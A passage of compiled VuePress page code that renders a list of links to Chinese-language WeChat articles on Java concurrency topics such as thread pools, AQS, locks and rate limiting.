"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489139&idx=1&sn=17096da9642b01ca8311e07a119ecec0&chksm=cf55a172f82228642dee1571a8bd1e6b82ab5abeb8329b5e7f6f834fe2ee9da4ecff84ca28fa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("肝了三天三夜整理出这份36万字全网最牛的开源高并发编程PDF!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489158&idx=1&sn=8827ff6e97807154446565882ce7e487&chksm=cf55a187f82228917dbce2cfbce900bc5140dc0f321a2a6d504a40f6def1b2801d5aa6481581&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河的并发编程核心知识(源码分析篇)电子书开源啦(文末免费领取)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489407&idx=1&sn=fbbd0e6970064aecd0dcd603eb8489e3&chksm=cf55a07ef82229686ec55d5bbe4dabc658524e073a27fff2b1d86f0d8f56cf002b2cc0f548f5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程与多线程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489406&idx=1&sn=476f4eca8e42190d837077c97e659ad3&chksm=cf55a07ff82229692bc063cff0a57036e607c496a5dd163f70e57e1348a3a9fda6c30a01e9aa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程的执行顺序"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489405&idx=1&sn=a71ece73ef42b4c1cdd4858627a96879&chksm=cf55a07cf822296aa2036a7144f62120981d4ff9a78ba1af1b35cb794fd4326284a3f9f9a900&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入解析Callable接口"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489404&idx=1&sn=9070d83bb4180c83b92597c066d68c12&chksm=cf55a07df822296b328b494659d33d34c3765de0fa441372ea4b9dad3541343852d006b9d07f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("两种异步模型与深度解析Future接口"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489402&idx=1&sn=2e7ed9ee117399a28afeda9877a8db5f&chksm=cf55a07bf822296d6699f0a5bf6da5b7050f8398aa434acd4af604b309230ea631f43ab7c5de&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不得不说的线程池与ThreadPoolExecutor类浅析"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489401&idx=1&sn=e54d6898cc194c4f713a3318b2172e6e&chksm=cf55a078f822296e6b66c23154339b449b05b22f68b62997ea9513d5e6131e73d22219a0e79b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("P8级别架构师带你深度解析线程池中那些重要的顶层接口和抽象类"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489397&idx=1&sn=57d3e04af3e52271e65b4247d72d65c0&chksm=cf55a074f8222962991e210912148f396a0bc01bb98ed39ac02085d289831bff9167cf084bf5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("创建线程池居然有这么多方式..."),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489398&idx=1&sn=307c7b3d78aa275a682263bd218f9a1d&chksm=cf55a077f822296112d619dbc1641725d59c7b826ae59cb3216aa2bcf98fd15e100ded7d2fce&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadPoolExecutor类居然是这样保证线程池正确运行的..."),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489396&idx=1&sn=50a2e8ffb5f303a9aff01b85f6f098a5&chksm=cf55a075f8222963c2780ab99726c96f185cb7973cc8a9e7189413010bc8a3f9713e4de8c656&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489395&idx=1&sn=c18513f458ee9d09126c4f55e3e4151b&chksm=cf55a072f82229645b553a6135845048f221f56ef5cf84467bb1c66b4e0c0c80bd974728d7a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("通过源码深度分析线程池中Worker线程的执行流程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489394&idx=1&sn=316cd39a28b9ad465807963a15f38bd4&chksm=cf55a073f8222965c582a9b5b853176603cdba49ac56d7a80379a92d7e03cde3620d290324cb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("从源码角度深度解析线程池是如何实现优雅退出的"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489393&idx=1&sn=9a7eac3f87baacf5befa311d480d91c7&chksm=cf55a070f822296601d4651061db538681d03ff87d5b132adb73ebb0519f03dec527d0a65ebc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ScheduledThreadPoolExecutor与Timer的区别和简单示例"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489392&idx=1&sn=dcdcc00845dccdefb9241bcac87a3b44&chksm=cf55a071f8222967140c4c8d21893223d7d018b3edda4c0a213df19846d8b6c1a1c101fe37db&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深度解析ScheduledThreadPoolExecutor类的源代码"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489391&idx=1&sn=a7f71046ba9552c27a0f29bace2142cb&chksm=cf55a06ef822297853c1c69aaec03c31388206020f1ead99fd306cfd5622f1b3cc13d06bf081&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深度解析ScheduledFutureTask类源码"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489390&idx=1&sn=94ed4db3fccee1c74ad8d19c8f846334&chksm=cf55a06ff822297986d39fd4417b92086f5924e5a6cae55ae90ce2a110c43110130e6579c192&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("多线程的三大特性(原子性、可见性和有序性)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489374&idx=1&sn=b75f2b908a6e8153b6f1627fccd9231a&chksm=cf55a05ff8222949658cf04198ea93fd5a123e1c1301b48a94451a84379efcf1e2e1e8bf76c2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489373&idx=1&sn=5bce8306b75780f2dd3d6ea285b1ee91&chksm=cf55a05cf822294a55205ee04c2636485abe6789a65d0e3156e3b908de8cf93597721af0fecb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈AQS中的Lock与Condition"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489372&idx=1&sn=d7987d839975c66fcb061285df5d4d38&chksm=cf55a05df822294b8e034b19bfe003836bff4a4cab14e66336bb618919bcb1b7c1eb2d0f3933&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个工作了7年的朋友去面试竟然被Thread类虐的体无完肤"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489370&idx=1&sn=35533ba6aaad0c727f936f0d3751a8ee&chksm=cf55a05bf822294d003bd8e7b2a992b6dabfbb268f965a3b312399e5e5ae80dec59f61c76675&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Java7中提供的Fork/Join框架实现高并发程序?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489368&idx=1&sn=e856feb5e9c582e865fddbc91b91a636&chksm=cf55a059f822294fb30c4d1b016c7861a16668706cbae4e14acdaec6a093dfc647b4df6dd7d4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("要想学好并发编程,关键是要理解这三个核心问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489367&idx=1&sn=f23516aa06019130969b619e5fd84d83&chksm=cf55a056f82229401944d8de0583d5535f824597535fab1c04e427f16493480b00985adc7cb0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("工作了3年的程序员小菜面试高并发岗位被吊打虐哭。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489366&idx=1&sn=dc827567e6f8ac2beddc91a892fa8e12&chksm=cf55a057f8222941cc026506828b90d781fd6733e7db68a8a8417d40a8de2e0cf96a7ac8d11f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("导致并发编程频繁出问题的“幕后黑手”"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489365&idx=1&sn=f6b7b9f70b8653e7156fdf7c34c4a74d&chksm=cf55a054f822294277d9d917b3020a1b218cb6bc81fd8b5521867c7bbb1a8bba19a2af9b3c10&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("解密导致诡异并发问题的第一个幕后黑手——可见性问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489364&idx=1&sn=fdeca5407f03b9283bf7699b7882517b&chksm=cf55a055f8222943bf0160f955a10e47693a1015a6c823184fa38f2b7acf37c2d743a2664f91&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("解密导致并发问题的第二个幕后黑手——原子性问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489363&idx=1&sn=247470d979a1180503a082e53259c5f5&chksm=cf55a052f82229442551f6c9076b8b2c977cc82384524e455ccc7fb1bfb0f732ba11b1557773&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("解密导致并发问题的第三个幕后黑手——有序性问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489362&idx=1&sn=fa49532eee6faf48eeb7544578748acb&chksm=cf55a053f82229458d23f52e0ccf4ac539ea8f77d61126817357dfed4f990031f3fe595f8b52&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("何为Happens-Before原则?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489361&idx=1&sn=9c58d50a127c73eda48770de2947723d&chksm=cf55a050f82229460e8d4eb994974af7b8fc20a8881fb10bfdace3d9f8d0aecc5f75921d545b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何解决可见性和有序性问题?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489360&idx=1&sn=15a678c02e771fd6c48d16a90fe98a7a&chksm=cf55a051f82229472747c67f4b11a74282f414f026b6b1cbde72caae2e30882026e99fb8ae96&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("synchronized原理是什么?这次彻底懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489359&idx=1&sn=c233458a8e7c612748bf520a7af457d0&chksm=cf55a04ef8222958fe57ae5c989edbfb1c3cfef36cb0c2c4b519c65414f3f0cb51e80ed266a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一分钟了解什么是限流"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489358&idx=1&sn=de3775195aa7503d56ab3cad8655516a&chksm=cf55a04ff822295974e9479b5c75fdc5e93dea7bcc11aa67ef92c0e53bef608c1940dd17a30a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("32位多核CPU并发读写long型数据为何会出现诡异问题?看完这篇我懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489357&idx=1&sn=39aa066bc585e7afd4a6c05f660fc70d&chksm=cf55a04cf822295add93717a88bf29b0905d24a80de21c6bc3a2b92425a67909ba493c20b254&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用互斥锁解决多线程的原子性问题?这次终于明白了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489356&idx=1&sn=63c472455df876c7c23a492a864d2549&chksm=cf55a04df822295b7da0f2ffc38853623254a0e28a691978b8e2a9d3b1dfef7430bab00756a3&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不可不说的几种限流算法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489355&idx=1&sn=e4b48fd6d3bef8a3e5ae96d97bbefcb2&chksm=cf55a04af822295c0ba45518ef8df7e5e5a097658f085ab53445648f0b2d60f23084e8488d81&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadPoolExecutor类的核心流程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489354&idx=1&sn=17f589a29e2b6124cb9e223e0ea88e6c&chksm=cf55a04bf822295d010cc3c1744df1327db442ddcdcac8af21ba4b21dc6fbac9081a0c75d95c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadLocal学会了这些,你也能和面试官扯皮了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489353&idx=1&sn=768ebcd3612a0c04465367751473a737&chksm=cf55a048f822295e892b7f9a55284e82d80db52b18afc53a1a3b1868d452e4286b156b9aaefb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发秒杀系统架构解密,不是所有的秒杀都是秒杀!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489352&idx=1&sn=98884d07d5d237c3bc7ff183c08c93cb&chksm=cf55a049f822295fcf9352de03fd910557fd4a800ced8caae65e64836233689d891d682397f6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发环境下诡异的加锁问题(你加的锁未必安全)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489351&idx=1&sn=0d601cd93684fb6ae6c391df64086a63&chksm=cf55a046f822295004e1185f2772105938df02c38c8a54f167b419cdacc164d126b107c87dd9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("什么是ForkJoin?看这一篇就够了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489350&idx=1&sn=a7b0a8f5a3a02d9b164090c782129a88&chksm=cf55a047f8222951d867043364d3f96a1a3ebc2a15d8b357ad84baef3f189f0ca0c7a674fbcd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("优化加锁方式时竟然死锁了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489349&idx=1&sn=9e8afb96f1d063dcc7354e505f773aa5&chksm=cf55a044f82229523d85cf4ebd0e6ca93c36ac74290d5d5ef59edc1d7b65040274a780f53d42&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道吗?大家都在使用Redisson实现分布式锁了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489348&idx=1&sn=f6816c0afd29da001d9491eeebba5059&chksm=cf55a045f82229539264f0aed0d18a478152558accd6b35131e85247eca50c06167fb6becee0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为何高并发系统中都要使用消息队列?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489347&idx=1&sn=0c0129168d9fffaee4578111ce037e11&chksm=cf55a042f8222954843b52772318ab2cc1a5d32dc6e9e769af12e6f2c8b97094c418105d9476&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在高并发环境下该如何构建应用级缓存?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489346&idx=1&sn=142d2b2a1ae798e99a11d1790ea9b140&chksm=cf55a043f822295549c962657928b41b114a8cbdd57e2dbea5b0c63958a9ac6a6ff7996c247a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发环境下如何优化Tomcat性能?看完我懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489345&idx=1&sn=9535aa3ee6d7c85f03b82c1cacf7a036&chksm=cf55a040f8222956a7c22c3265111496aea8a4100ff47839e86fc8f479a3c878b3ca4e653822&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不废话,言简意赅介绍BlockingQueue"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489344&idx=1&sn=be3cb8045217b8c1959d0dcb5291c0c9&chksm=cf55a041f82229577c628e0ddfcc262647cf085fef008399e3ae4d94ad19dbc5bf06d19eabce&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发场景下创建多少线程才合适?一条公式帮你搞定!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489343&idx=1&sn=5a3ff74875272d8a72a80037d25d9aad&chksm=cf55a03ef822292878e2aea6dad98d7d2e39c969f4f2f1ed608e76a71bdfac671f41489c15b9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发场景下如何优化加锁方式?看完这篇我确实明白了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489342&idx=1&sn=d1143e36dcff7bb209a36c0ee0390068&chksm=cf55a03ff8222929684aa9fcec7eee6686b402f426c5f5c3959f3c2b99559ae0f60a35be3038&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Java7中提供的Fork/Join框架实现高并发程序?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489340&idx=1&sn=9658cbf46be5c8a1dcb6f27f7cbd2483&chksm=cf55a03df822292b3d9cee0ab031b5f706daf2755ec88eaf38242016b04b989f0bf00be4ae63&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发分布式锁架构解密,不是所有的锁都是分布式锁!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489339&idx=1&sn=56a2340cf337ab5cb3f7f66b98ffde52&chksm=cf55a03af822292ce9bc4b1ff334ef9a01f011b6039c7b2e8b9f7f85317688209f675bbe440d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("终于弄懂为什么局部变量是线程安全的了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489338&idx=1&sn=5747a4ae08e8057e0771afe84ea67ae0&chksm=cf55a03bf822292d6aaa7dcf3910c8d58a5a4109190818dcdcc874d414d0464703a83c8f3b9b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("信不信?以面向对象的思想是可以写好高并发程序的!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489215&idx=1&sn=50bf075cbbd35539e6e65ea54c0f03b4&chksm=cf55a1bef82228a87ba23f617816136806c1d52cfdd781e4e118ae7da105c54cd3e3b647dd00&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("何为Happens-Before原则?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489337&idx=1&sn=82283e6bafb72b34979d45678911f41c&chksm=cf55a038f822292e85e95244ad359f331b51a14507d6ef94e2ce1343d4281595ee011bcf8289&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("又一个朋友面试栽在了Thread类的stop()方法和interrupt()方法上!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489336&idx=1&sn=796d3889093e667b2714fda3c83474c4&chksm=cf55a039f822292fde8b1e7a29b1f77990818408992d1529b804f85b77b73e1c98fcedf4dc97&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("由InterruptedException异常引发的思考"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489335&idx=1&sn=ffc3c88746f28d886811b34760f32782&chksm=cf55a036f82229206134a02be74fb6c18441e0fcda700ef060241da1ccce60c9278772836e36&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("朋友问我学习高并发需不需要阅读源码,我是这样分析的!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489334&idx=1&sn=f98baf5bab13e35493c77485fbb3f05c&chksm=cf55a037f8222921cf534290ab39d2f2d2c6e38a41d5761e399f1240ee238b8f54735953d499&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程的生命周期其实没有我们想象的那么简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489325&idx=1&sn=87cb0f267ef101f26a5d47a6a5d8653b&chksm=cf55a02cf822293a6b4cf124bf4c3374deba32397249e90706de97acf4910aebfe9ccacf19d7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信??HashMap竟然干掉了CPU!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489324&idx=1&sn=0a35687e86500cf5a7e3831a703acd7d&chksm=cf55a02df822293b0f96e98f12f3d0fc99063b50eff5ec01d3291c1cab2a89e7c47370938706&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadLocal学会了这些,你也能和面试官扯皮了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489274&idx=1&sn=474d6b4fedbb50a9c9a0fdd5ed7e34b5&chksm=cf55a1fbf82228ed1fec52eaf8e3d076f6f40322038c881929c47e0e671cd36d966b7b6422ed&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为何高并发系统中都要使用消息队列?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489273&idx=1&sn=6d3f38b52de0a60d78a18c4ea14133c4&chksm=cf55a1f8f82228ee84612c8fbc0cb4fd00f67f29ddc2845931d5f050e61c4b68e031d8074f7b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("学习高并发我们究竟要不要读源码?别纠结,肝就完了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489271&idx=1&sn=00c81bed5650110649483188d4bf75a5&chksm=cf55a1f6f82228e0168a3ea55043390b682b591ab2083be9b4153be073e082fc01e486ee0db0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我如何使用Nginx实现限流,我如此回答轻松拿到了Offer!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489254&idx=1&sn=91c6d5c829d5eb0b4c95a22752f8f5bc&chksm=cf55a1e7f82228f1b4d0d2ec67c6036046e9873f89bc77bdb57f39ea5912185ac2130b0511a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何设计一个支撑高并发大流量的系统?这次我将设计思路分享给大家!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489253&idx=1&sn=78aa33212e7ce5d5bdbeb07e5baf2aaf&chksm=cf55a1e4f82228f2f1c9ed1e1685534f64319ccb3837b40497dca1f2f984d6145ad75cdb242e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 